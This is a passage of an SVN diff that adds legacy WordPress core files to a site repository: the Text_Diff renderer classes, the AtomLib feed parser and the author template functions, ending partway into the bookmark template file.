Index: /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Renderer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Renderer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Renderer.php	(revision 44)
@@ -0,0 +1,237 @@
+<?php
+/**
+ * A class to render Diffs in different formats.
+ *
+ * This class renders the diff in classic diff format. It is intended that
+ * this class be customized via inheritance, to obtain fancier outputs.
+ *
+ * $Horde: framework/Text_Diff/Diff/Renderer.php,v 1.21 2008/01/04 10:07:50 jan Exp $
+ *
+ * Copyright 2004-2008 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @package Text_Diff
+ */
+class Text_Diff_Renderer {
+
+    /**
+     * Number of leading context "lines" to preserve.
+     *
+     * This should be left at zero for this class, but subclasses may want to
+     * set this to other values.
+     */
+    var $_leading_context_lines = 0;
+
+    /**
+     * Number of trailing context "lines" to preserve.
+     *
+     * This should be left at zero for this class, but subclasses may want to
+     * set this to other values.
+     */
+    var $_trailing_context_lines = 0;
+
+    /**
+     * Constructor.
+     */
+    function Text_Diff_Renderer($params = array())
+    {
+        foreach ($params as $param => $value) {
+            $v = '_' . $param;
+            if (isset($this->$v)) {
+                $this->$v = $value;
+            }
+        }
+    }
+
+    /**
+     * Get any renderer parameters.
+     *
+     * @return array  All parameters of this renderer object.
+     */
+    function getParams()
+    {
+        $params = array();
+        foreach (get_object_vars($this) as $k => $v) {
+            if ($k[0] == '_') {
+                $params[substr($k, 1)] = $v;
+            }
+        }
+
+        return $params;
+    }
+
+    /**
+     * Renders a diff.
+     *
+     * @param Text_Diff $diff  A Text_Diff object.
+     *
+     * @return string  The formatted output.
+     */
+    function render($diff)
+    {
+        $xi = $yi = 1;
+        $block = false;
+        $context = array();
+
+        $nlead = $this->_leading_context_lines;
+        $ntrail = $this->_trailing_context_lines;
+
+        $output = $this->_startDiff();
+
+        $diffs = $diff->getDiff();
+        foreach ($diffs as $i => $edit) {
+            /* If these are unchanged (copied) lines, and we want to keep
+             * leading or trailing context lines, extract them from the copy
+             * block. */
+            if (is_a($edit, 'Text_Diff_Op_copy')) {
+                /* Do we have any diff blocks yet? */
+                if (is_array($block)) {
+                    /* How many lines to keep as context from the copy
+                     * block. */
+                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
+                    if (count($edit->orig) <= $keep) {
+                        /* We have less lines in the block than we want for
+                         * context => keep the whole block. */
+                        $block[] = $edit;
+                    } else {
+                        if ($ntrail) {
+                            /* Create a new block with as many lines as we need
+                             * for the trailing context. */
+                            $context = array_slice($edit->orig, 0, $ntrail);
+                            $block[] = &new Text_Diff_Op_copy($context);
+                        }
+                        /* @todo */
+                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
+                                                 $y0, $ntrail + $yi - $y0,
+                                                 $block);
+                        $block = false;
+                    }
+                }
+                /* Keep the copy block as the context for the next block. */
+                $context = $edit->orig;
+            } else {
+                /* Don't we have any diff blocks yet? */
+                if (!is_array($block)) {
+                    /* Extract context lines from the preceding copy block. */
+                    $context = array_slice($context, count($context) - $nlead);
+                    $x0 = $xi - count($context);
+                    $y0 = $yi - count($context);
+                    $block = array();
+                    if ($context) {
+                        $block[] = &new Text_Diff_Op_copy($context);
+                    }
+                }
+                $block[] = $edit;
+            }
+
+            if ($edit->orig) {
+                $xi += count($edit->orig);
+            }
+            if ($edit->final) {
+                $yi += count($edit->final);
+            }
+        }
+
+        if (is_array($block)) {
+            $output .= $this->_block($x0, $xi - $x0,
+                                     $y0, $yi - $y0,
+                                     $block);
+        }
+
+        return $output . $this->_endDiff();
+    }
+
+    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
+    {
+        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));
+
+        foreach ($edits as $edit) {
+            switch (strtolower(get_class($edit))) {
+            case 'text_diff_op_copy':
+                $output .= $this->_context($edit->orig);
+                break;
+
+            case 'text_diff_op_add':
+                $output .= $this->_added($edit->final);
+                break;
+
+            case 'text_diff_op_delete':
+                $output .= $this->_deleted($edit->orig);
+                break;
+
+            case 'text_diff_op_change':
+                $output .= $this->_changed($edit->orig, $edit->final);
+                break;
+            }
+        }
+
+        return $output . $this->_endBlock();
+    }
+
+    function _startDiff()
+    {
+        return '';
+    }
+
+    function _endDiff()
+    {
+        return '';
+    }
+
+    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
+    {
+        if ($xlen > 1) {
+            $xbeg .= ',' . ($xbeg + $xlen - 1);
+        }
+        if ($ylen > 1) {
+            $ybeg .= ',' . ($ybeg + $ylen - 1);
+        }
+
+        // this matches the GNU Diff behaviour
+        if ($xlen && !$ylen) {
+            $ybeg--;
+        } elseif (!$xlen) {
+            $xbeg--;
+        }
+
+        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
+    }
+
+    function _startBlock($header)
+    {
+        return $header . "\n";
+    }
+
+    function _endBlock()
+    {
+        return '';
+    }
+
+    function _lines($lines, $prefix = ' ')
+    {
+        return $prefix . implode("\n$prefix", $lines) . "\n";
+    }
+
+    function _context($lines)
+    {
+        return $this->_lines($lines, '  ');
+    }
+
+    function _added($lines)
+    {
+        return $this->_lines($lines, '> ');
+    }
+
+    function _deleted($lines)
+    {
+        return $this->_lines($lines, '< ');
+    }
+
+    function _changed($orig, $final)
+    {
+        return $this->_deleted($orig) . "---\n" . $this->_added($final);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Renderer/inline.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Renderer/inline.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Renderer/inline.php	(revision 44)
@@ -0,0 +1,172 @@
+<?php
+/**
+ * "Inline" diff renderer.
+ *
+ * $Horde: framework/Text_Diff/Diff/Renderer/inline.php,v 1.21 2008/01/04 10:07:51 jan Exp $
+ *
+ * Copyright 2004-2008 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Ciprian Popovici
+ * @package Text_Diff
+ */
+
+/** Text_Diff_Renderer */
+
+// WP #7391
+require_once dirname(dirname(__FILE__)) . '/Renderer.php';
+
+/**
+ * "Inline" diff renderer.
+ *
+ * This class renders diffs in the Wiki-style "inline" format.
+ *
+ * @author  Ciprian Popovici
+ * @package Text_Diff
+ */
+class Text_Diff_Renderer_inline extends Text_Diff_Renderer {
+
+    /**
+     * Number of leading context "lines" to preserve.
+     */
+    var $_leading_context_lines = 10000;
+
+    /**
+     * Number of trailing context "lines" to preserve.
+     */
+    var $_trailing_context_lines = 10000;
+
+    /**
+     * Prefix for inserted text.
+     */
+    var $_ins_prefix = '<ins>';
+
+    /**
+     * Suffix for inserted text.
+     */
+    var $_ins_suffix = '</ins>';
+
+    /**
+     * Prefix for deleted text.
+     */
+    var $_del_prefix = '<del>';
+
+    /**
+     * Suffix for deleted text.
+     */
+    var $_del_suffix = '</del>';
+
+    /**
+     * Header for each change block.
+     */
+    var $_block_header = '';
+
+    /**
+     * What are we currently splitting on? Used to recurse to show word-level
+     * changes.
+     */
+    var $_split_level = 'lines';
+
+    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
+    {
+        return $this->_block_header;
+    }
+
+    function _startBlock($header)
+    {
+        return $header;
+    }
+
+    function _lines($lines, $prefix = ' ', $encode = true)
+    {
+        if ($encode) {
+            array_walk($lines, array(&$this, '_encode'));
+        }
+
+        if ($this->_split_level == 'words') {
+            return implode('', $lines);
+        } else {
+            return implode("\n", $lines) . "\n";
+        }
+    }
+
+    function _added($lines)
+    {
+        array_walk($lines, array(&$this, '_encode'));
+        $lines[0] = $this->_ins_prefix . $lines[0];
+        $lines[count($lines) - 1] .= $this->_ins_suffix;
+        return $this->_lines($lines, ' ', false);
+    }
+
+    function _deleted($lines, $words = false)
+    {
+        array_walk($lines, array(&$this, '_encode'));
+        $lines[0] = $this->_del_prefix . $lines[0];
+        $lines[count($lines) - 1] .= $this->_del_suffix;
+        return $this->_lines($lines, ' ', false);
+    }
+
+    function _changed($orig, $final)
+    {
+        /* If we've already split on words, don't try to do so again - just
+         * display. */
+        if ($this->_split_level == 'words') {
+            $prefix = '';
+            while ($orig[0] !== false && $final[0] !== false &&
+                   substr($orig[0], 0, 1) == ' ' &&
+                   substr($final[0], 0, 1) == ' ') {
+                $prefix .= substr($orig[0], 0, 1);
+                $orig[0] = substr($orig[0], 1);
+                $final[0] = substr($final[0], 1);
+            }
+            return $prefix . $this->_deleted($orig) . $this->_added($final);
+        }
+
+        $text1 = implode("\n", $orig);
+        $text2 = implode("\n", $final);
+
+        /* Non-printing newline marker. */
+        $nl = "\0";
+
+        /* We want to split on word boundaries, but we need to
+         * preserve whitespace as well. Therefore we split on words,
+         * but include all blocks of whitespace in the wordlist. */
+        $diff = new Text_Diff($this->_splitOnWords($text1, $nl),
+                              $this->_splitOnWords($text2, $nl));
+
+        /* Get the diff in inline format. */
+        $renderer = new Text_Diff_Renderer_inline(array_merge($this->getParams(),
+                                                              array('split_level' => 'words')));
+
+        /* Run the diff and get the output. */
+        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
+    }
+
+    function _splitOnWords($string, $newlineEscape = "\n")
+    {
+        // Ignore \0; otherwise the while loop will never finish.
+        $string = str_replace("\0", '', $string);
+
+        $words = array();
+        $length = strlen($string);
+        $pos = 0;
+
+        while ($pos < $length) {
+            // Eat a word with any preceding whitespace.
+            $spaces = strspn(substr($string, $pos), " \n");
+            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
+            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
+            $pos += $spaces + $nextpos;
+        }
+
+        return $words;
+    }
+
+    function _encode(&$string)
+    {
+        $string = htmlspecialchars($string);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/atomlib.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/atomlib.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/atomlib.php	(revision 44)
@@ -0,0 +1,354 @@
+<?php
+/**
+ * Atom Syndication Format PHP Library
+ *
+ * @package AtomLib
+ * @link http://code.google.com/p/phpatomlib/
+ *
+ * @author Elias Torres <elias@torrez.us>
+ * @version 0.4
+ * @since 2.3
+ */
+
+/**
+ * Structure that store common Atom Feed Properties
+ *
+ * @package AtomLib
+ */
+class AtomFeed {
+	/**
+	 * Stores Links
+	 * @var array
+	 * @access public
+	 */
+    var $links = array();
+    /**
+     * Stores Categories
+     * @var array
+     * @access public
+     */
+    var $categories = array();
+	/**
+	 * Stores Entries
+	 *
+	 * @var array
+	 * @access public
+	 */
+    var $entries = array();
+}
+
+/**
+ * Structure that store Atom Entry Properties
+ *
+ * @package AtomLib
+ */
+class AtomEntry {
+	/**
+	 * Stores Links
+	 * @var array
+	 * @access public
+	 */
+    var $links = array();
+    /**
+     * Stores Categories
+     * @var array
+	 * @access public
+     */
+    var $categories = array();
+}
+
+/**
+ * AtomLib Atom Parser API
+ *
+ * @package AtomLib
+ */
+class AtomParser {
+
+    var $NS = 'http://www.w3.org/2005/Atom';
+    var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights');
+    var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft');
+
+    var $debug = false;
+
+    var $depth = 0;
+    var $indent = 2;
+    var $in_content;
+    var $ns_contexts = array();
+    var $ns_decls = array();
+    var $content_ns_decls = array();
+    var $content_ns_contexts = array();
+    var $is_xhtml = false;
+    var $is_html = false;
+    var $is_text = true;
+    var $skipped_div = false;
+
+    var $FILE = "php://input";
+
+    var $feed;
+    var $current;
+
+    function AtomParser() {
+
+        $this->feed = new AtomFeed();
+        $this->current = null;
+        $this->map_attrs_func = create_function('$k,$v', 'return "$k=\"$v\"";');
+        $this->map_xmlns_func = create_function('$p,$n', '$xd = "xmlns"; if(strlen($n[0])>0) $xd .= ":{$n[0]}"; return "{$xd}=\"{$n[1]}\"";');
+    }
+
+    function _p($msg) {
+        if($this->debug) {
+            print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n";
+        }
+    }
+
+    function error_handler($log_level, $log_text, $error_file, $error_line) {
+        $this->error = $log_text;
+    }
+
+    function parse() {
+
+        set_error_handler(array(&$this, 'error_handler'));
+
+        array_unshift($this->ns_contexts, array());
+
+        $parser = xml_parser_create_ns();
+        xml_set_object($parser, $this);
+        xml_set_element_handler($parser, "start_element", "end_element");
+        xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
+        xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0);
+        xml_set_character_data_handler($parser, "cdata");
+        xml_set_default_handler($parser, "_default");
+        xml_set_start_namespace_decl_handler($parser, "start_ns");
+        xml_set_end_namespace_decl_handler($parser, "end_ns");
+
+        $this->content = '';
+
+        $ret = true;
+
+        $fp = fopen($this->FILE, "r");
+        while ($data = fread($fp, 4096)) {
+            if($this->debug) $this->content .= $data;
+
+            if(!xml_parse($parser, $data, feof($fp))) {
+                trigger_error(sprintf(__('XML error: %s at line %d')."\n",
+                    xml_error_string(xml_get_error_code($xml_parser)),
+                    xml_get_current_line_number($xml_parser)));
+                $ret = false;
+                break;
+            }
+        }
+        fclose($fp);
+
+        xml_parser_free($parser);
+
+        restore_error_handler();
+
+        return $ret;
+    }
+
+    function start_element($parser, $name, $attrs) {
+
+        $tag = array_pop(split(":", $name));
+
+        switch($name) {
+            case $this->NS . ':feed':
+                $this->current = $this->feed;
+                break;
+            case $this->NS . ':entry':
+                $this->current = new AtomEntry();
+                break;
+        };
+
+        $this->_p("start_element('$name')");
+        #$this->_p(print_r($this->ns_contexts,true));
+        #$this->_p('current(' . $this->current . ')');
+
+        array_unshift($this->ns_contexts, $this->ns_decls);
+
+        $this->depth++;
+
+        if(!empty($this->in_content)) {
+
+            $this->content_ns_decls = array();
+
+            if($this->is_html || $this->is_text)
+                trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup.");
+
+            $attrs_prefix = array();
+
+            // resolve prefixes for attributes
+            foreach($attrs as $key => $value) {
+                $with_prefix = $this->ns_to_prefix($key, true);
+                $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value);
+            }
+
+            $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix)));
+            if(strlen($attrs_str) > 0) {
+                $attrs_str = " " . $attrs_str;
+            }
+
+            $with_prefix = $this->ns_to_prefix($name);
+
+            if(!$this->is_declared_content_ns($with_prefix[0])) {
+                array_push($this->content_ns_decls, $with_prefix[0]);
+            }
+
+            $xmlns_str = '';
+            if(count($this->content_ns_decls) > 0) {
+                array_unshift($this->content_ns_contexts, $this->content_ns_decls);
+                $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0])));
+                if(strlen($xmlns_str) > 0) {
+                    $xmlns_str = " " . $xmlns_str;
+                }
+            }
+
+            array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">"));
+
+        } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) {
+            $this->in_content = array();
+            $this->is_xhtml = $attrs['type'] == 'xhtml';
+            $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html';
+            $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text';
+            $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type']));
+
+            if(in_array('src',array_keys($attrs))) {
+                $this->current->$tag = $attrs;
+            } else {
+                array_push($this->in_content, array($tag,$this->depth, $type));
+            }
+        } else if($tag == 'link') {
+            array_push($this->current->links, $attrs);
+        } else if($tag == 'category') {
+            array_push($this->current->categories, $attrs);
+        }
+
+        $this->ns_decls = array();
+    }
+
+    function end_element($parser, $name) {
+
+        $tag = array_pop(split(":", $name));
+
+        $ccount = count($this->in_content);
+
+        # if we are *in* content, then let's proceed to serialize it
+        if(!empty($this->in_content)) {
+            # if we are ending the original content element
+            # then let's finalize the content
+            if($this->in_content[0][0] == $tag &&
+                $this->in_content[0][1] == $this->depth) {
+                $origtype = $this->in_content[0][2];
+                array_shift($this->in_content);
+                $newcontent = array();
+                foreach($this->in_content as $c) {
+                    if(count($c) == 3) {
+                        array_push($newcontent, $c[2]);
+                    } else {
+                        if($this->is_xhtml || $this->is_text) {
+                            array_push($newcontent, $this->xml_escape($c));
+                        } else {
+                            array_push($newcontent, $c);
+                        }
+                    }
+                }
+                if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) {
+                    $this->current->$tag = array($origtype, join('',$newcontent));
+                } else {
+                    $this->current->$tag = join('',$newcontent);
+                }
+                $this->in_content = array();
+            } else if($this->in_content[$ccount-1][0] == $tag &&
+                $this->in_content[$ccount-1][1] == $this->depth) {
+                $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>";
+            } else {
+                # else, just finalize the current element's content
+                $endtag = $this->ns_to_prefix($name);
+                array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>"));
+            }
+        }
+
+        array_shift($this->ns_contexts);
+
+        $this->depth--;
+
+        if($name == ($this->NS . ':entry')) {
+            array_push($this->feed->entries, $this->current);
+            $this->current = null;
+        }
+
+        $this->_p("end_element('$name')");
+    }
+
+    function start_ns($parser, $prefix, $uri) {
+        $this->_p("starting: " . $prefix . ":" . $uri);
+        array_push($this->ns_decls, array($prefix,$uri));
+    }
+
+    function end_ns($parser, $prefix) {
+        $this->_p("ending: #" . $prefix . "#");
+    }
+
+    function cdata($parser, $data) {
+        $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#");
+        if(!empty($this->in_content)) {
+            array_push($this->in_content, $data);
+        }
+    }
+
+    function _default($parser, $data) {
+        # when does this gets called?
+    }
+
+
+    function ns_to_prefix($qname, $attr=false) {
+        # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div')
+        $components = split(":", $qname);
+
+        # grab the last one (e.g 'div')
+        $name = array_pop($components);
+
+        if(!empty($components)) {
+            # re-join back the namespace component
+            $ns = join(":",$components);
+            foreach($this->ns_contexts as $context) {
+                foreach($context as $mapping) {
+                    if($mapping[1] == $ns && strlen($mapping[0]) > 0) {
+                        return array($mapping, "$mapping[0]:$name");
+                    }
+                }
+            }
+        }
+
+        if($attr) {
+            return array(null, $name);
+        } else {
+            foreach($this->ns_contexts as $context) {
+                foreach($context as $mapping) {
+                    if(strlen($mapping[0]) == 0) {
+                        return array($mapping, $name);
+                    }
+                }
+            }
+        }
+    }
+
+    function is_declared_content_ns($new_mapping) {
+        foreach($this->content_ns_contexts as $context) {
+            foreach($context as $mapping) {
+                if($new_mapping == $mapping) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    function xml_escape($string)
+    {
+             return str_replace(array('&','"',"'",'<','>'),
+                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
+                $string );
+    }
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/author-template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/author-template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/author-template.php	(revision 44)
@@ -0,0 +1,341 @@
+<?php
+/**
+ * Author Template functions for use in themes.
+ *
+ * These functions must be used within the WordPress Loop.
+ *
+ * @link http://codex.wordpress.org/Author_Templates
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve the author of the current post.
+ *
+ * @since 1.5
+ * @uses $authordata The current author's DB object.
+ * @uses apply_filters() Calls 'the_author' hook on the author display name.
+ *
+ * @param string $deprecated Deprecated.
+ * @return string The author's display name.
+ */
+function get_the_author($deprecated = '') {
+	global $authordata;
+	return apply_filters('the_author', $authordata->display_name);
+}
+
+/**
+ * Display the name of the author of the current post.
+ *
+ * The behavior of this function is based off of old functionality predating
+ * get_the_author(). This function is not deprecated, but is designed to echo
+ * the value from get_the_author() and as an result of any old theme that might
+ * still use the old behavior will also pass the value from get_the_author().
+ *
+ * The normal, expected behavior of this function is to echo the author and not
+ * return it. However, backwards compatiability has to be maintained.
+ *
+ * @since 0.71
+ * @see get_the_author()
+ * @link http://codex.wordpress.org/Template_Tags/the_author
+ *
+ * @param string $deprecated Deprecated.
+ * @param string $deprecated_echo Echo the string or return it.
+ * @return string The author's display name, from get_the_author().
+ */
+function the_author($deprecated = '', $deprecated_echo = true) {
+	if ( $deprecated_echo )
+		echo get_the_author();
+	return get_the_author();
+}
+
+/**
+ * Retrieve the author who last edited the current post.
+ *
+ * @since 2.8
+ * @uses $post The current post's DB object.
+ * @uses get_post_meta() Retrieves the ID of the author who last edited the current post.
+ * @uses get_userdata() Retrieves the author's DB object.
+ * @uses apply_filters() Calls 'the_modified_author' hook on the author display name.
+ * @return string The author's display name.
+ */
+function get_the_modified_author() {
+	global $post;
+	if ( $last_id = get_post_meta($post->ID, '_edit_last', true) ) {
+		$last_user = get_userdata($last_id);
+		return apply_filters('the_modified_author', $last_user->display_name);
+	}
+}
+
+/**
+ * Display the name of the author who last edited the current post.
+ *
+ * @since 2.8
+ * @see get_the_author()
+ * @return string The author's display name, from get_the_modified_author().
+ */
+function the_modified_author() {
+	echo get_the_modified_author();
+}
+
+/**
+ * Retrieve the requested data of the author of the current post.
+ * @link http://codex.wordpress.org/Template_Tags/the_author_meta
+ * @since 2.8.0
+ * @uses $authordata The current author's DB object (if $user_id not specified).
+ * @param string $field selects the field of the users record.
+ * @param int $user_id Optional. User ID.
+ * @return string The author's field from the current author's DB object.
+ */
+function get_the_author_meta($field = '', $user_id = false) {
+	if ( ! $user_id )
+		global $authordata;
+	else
+		$authordata = get_userdata( $user_id );
+
+	$field = strtolower($field);
+	$user_field = "user_$field";
+
+	if ( 'id' == $field )
+		$value = isset($authordata->ID) ? (int)$authordata->ID : 0;
+	elseif ( isset($authordata->$user_field) )
+		$value = $authordata->$user_field;
+	else
+		$value = isset($authordata->$field) ? $authordata->$field : '';
+
+	return apply_filters('get_the_author_' . $field, $value);
+}
+
+/**
+ * Retrieve the requested data of the author of the current post.
+ * @link http://codex.wordpress.org/Template_Tags/the_author_meta
+ * @since 2.8.0
+ * @param string $field selects the field of the users record.
+ * @param int $user_id Optional. User ID.
+ * @echo string The author's field from the current author's DB object.
+ */
+function the_author_meta($field = '', $user_id = false) {
+	echo apply_filters('the_author_' . $field, get_the_author_meta($field, $user_id));
+}
+
+/**
+ * Display either author's link or author's name.
+ *
+ * If the author has a home page set, echo an HTML link, otherwise just echo the
+ * author's name.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_link
+ * @since 2.1
+ * @uses get_the_author_meta()
+ * @uses the_author()
+ */
+function the_author_link() {
+	if ( get_the_author_meta('url') ) {
+		echo '<a href="' . get_the_author_meta('url') . '" title="' . sprintf(__("Visit %s&#8217;s website"), get_the_author()) . '" rel="external">' . get_the_author() . '</a>';
+	} else {
+		the_author();
+	}
+}
+
+/**
+ * Retrieve the number of posts by the author of the current post.
+ *
+ * @since 1.5
+ * @uses $post The current post in the Loop's DB object.
+ * @uses get_usernumposts()
+ * @return int The number of posts by the author.
+ */
+function get_the_author_posts() {
+	global $post;
+	return get_usernumposts($post->post_author);
+}
+
+/**
+ * Display the number of posts by the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_posts
+ * @since 0.71
+ * @uses get_the_author_posts() Echos returned value from function.
+ */
+function the_author_posts() {
+	echo get_the_author_posts();
+}
+
+/**
+ * Display an HTML link to the author page of the author of the current post.
+ *
+ * Does just echo get_author_posts_url() function, like the others do. The
+ * reason for this, is that another function is used to help in printing the
+ * link to the author's posts.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_posts_link
+ * @since 1.2.0
+ * @uses $authordata The current author's DB object.
+ * @uses get_author_posts_url()
+ * @uses get_the_author()
+ * @param string $deprecated Deprecated.
+ */
+function the_author_posts_link($deprecated = '') {
+	global $authordata;
+	printf(
+		'<a href="%1$s" title="%2$s">%3$s</a>',
+		get_author_posts_url( $authordata->ID, $authordata->user_nicename ),
+		sprintf( __( 'Posts by %s' ), esc_attr( get_the_author() ) ),
+		get_the_author()
+	);
+}
+
+/**
+ * Retrieve the URL to the author page of the author of the current post.
+ *
+ * @since 2.1.0
+ * @uses $wp_rewrite WP_Rewrite
+ * @return string The URL to the author's page.
+ */
+function get_author_posts_url($author_id, $author_nicename = '') {
+	global $wp_rewrite;
+	$auth_ID = (int) $author_id;
+	$link = $wp_rewrite->get_author_permastruct();
+
+	if ( empty($link) ) {
+		$file = get_option('home') . '/';
+		$link = $file . '?author=' . $auth_ID;
+	} else {
+		if ( '' == $author_nicename ) {
+			$user = get_userdata($author_id);
+			if ( !empty($user->user_nicename) )
+				$author_nicename = $user->user_nicename;
+		}
+		$link = str_replace('%author%', $author_nicename, $link);
+		$link = get_option('home') . trailingslashit($link);
+	}
+
+	$link = apply_filters('author_link', $link, $author_id, $author_nicename);
+
+	return $link;
+}
+
+/**
+ * List all the authors of the blog, with several options available.
+ *
+ * <ul>
+ * <li>optioncount (boolean) (false): Show the count in parenthesis next to the
+ * author's name.</li>
+ * <li>exclude_admin (boolean) (true): Exclude the 'admin' user that is
+ * installed bydefault.</li>
+ * <li>show_fullname (boolean) (false): Show their full names.</li>
+ * <li>hide_empty (boolean) (true): Don't show authors without any posts.</li>
+ * <li>feed (string) (''): If isn't empty, show links to author's feeds.</li>
+ * <li>feed_image (string) (''): If isn't empty, use this image to link to
+ * feeds.</li>
+ * <li>echo (boolean) (true): Set to false to return the output, instead of
+ * echoing.</li>
+ * <li>style (string) ('list'): Whether to display list of authors in list form
+ * or as a string.</li>
+ * <li>html (bool) (true): Whether to list the items in html for or plaintext.
+ * </li>
+ * </ul>
+ *
+ * @link http://codex.wordpress.org/Template_Tags/wp_list_authors
+ * @since 1.2.0
+ * @param array $args The argument array.
+ * @return null|string The output, if echo is set to false.
+ */
+function wp_list_authors($args = '') {
+	global $wpdb;
+
+	$defaults = array(
+		'optioncount' => false, 'exclude_admin' => true,
+		'show_fullname' => false, 'hide_empty' => true,
+		'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true,
+		'style' => 'list', 'html' => true
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract($r, EXTR_SKIP);
+	$return = '';
+
+	/** @todo Move select to get_authors(). */
+	$authors = $wpdb->get_results("SELECT ID, user_nicename from $wpdb->users " . ($exclude_admin ? "WHERE user_login <> 'admin' " : '') . "ORDER BY display_name");
+
+	$author_count = array();
+	foreach ((array) $wpdb->get_results("SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE post_type = 'post' AND " . get_private_posts_cap_sql( 'post' ) . " GROUP BY post_author") as $row) {
+		$author_count[$row->post_author] = $row->count;
+	}
+
+	foreach ( (array) $authors as $author ) {
+
+		$link = '';
+
+		$author = get_userdata( $author->ID );
+		$posts = (isset($author_count[$author->ID])) ? $author_count[$author->ID] : 0;
+		$name = $author->display_name;
+
+		if ( $show_fullname && ($author->first_name != '' && $author->last_name != '') )
+			$name = "$author->first_name $author->last_name";
+
+		if( !$html ) {
+			if ( $posts == 0 ) {
+				if ( ! $hide_empty )
+					$return .= $name . ', ';
+			} else
+				$return .= $name . ', ';
+
+			// No need to go further to process HTML.
+			continue;
+		}
+
+		if ( !($posts == 0 && $hide_empty) && 'list' == $style )
+			$return .= '<li>';
+		if ( $posts == 0 ) {
+			if ( ! $hide_empty )
+				$link = $name;
+		} else {
+			$link = '<a href="' . get_author_posts_url($author->ID, $author->user_nicename) . '" title="' . sprintf(__("Posts by %s"), esc_attr($author->display_name)) . '">' . $name . '</a>';
+
+			if ( (! empty($feed_image)) || (! empty($feed)) ) {
+				$link .= ' ';
+				if (empty($feed_image))
+					$link .= '(';
+				$link .= '<a href="' . get_author_feed_link($author->ID) . '"';
+
+				if ( !empty($feed) ) {
+					$title = ' title="' . $feed . '"';
+					$alt = ' alt="' . $feed . '"';
+					$name = $feed;
+					$link .= $title;
+				}
+
+				$link .= '>';
+
+				if ( !empty($feed_image) )
+					$link .= "<img src=\"$feed_image\" style=\"border: none;\"$alt$title" . ' />';
+				else
+					$link .= $name;
+
+				$link .= '</a>';
+
+				if ( empty($feed_image) )
+					$link .= ')';
+			}
+
+			if ( $optioncount )
+				$link .= ' ('. $posts . ')';
+
+		}
+
+		if ( !($posts == 0 && $hide_empty) && 'list' == $style )
+			$return .= $link . '</li>';
+		else if ( ! $hide_empty )
+			$return .= $link . ', ';
+	}
+
+	$return = trim($return, ', ');
+
+	if ( ! $echo )
+		return $return;
+	echo $return;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/bookmark-template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/bookmark-template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/bookmark-template.php	(revision 44)
@@ -0,0 +1,254 @@
+<?php
+/**
+ * Bookmark Template Functions for usage in Themes
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * The formatted output of a list of bookmarks.
+ *
+ * The $bookmarks array must contain bookmark objects and will be iterated over
+ * to retrieve the bookmark to be used in the output.
+ *
+ * The output is formatted as HTML with no way to change that format. However,
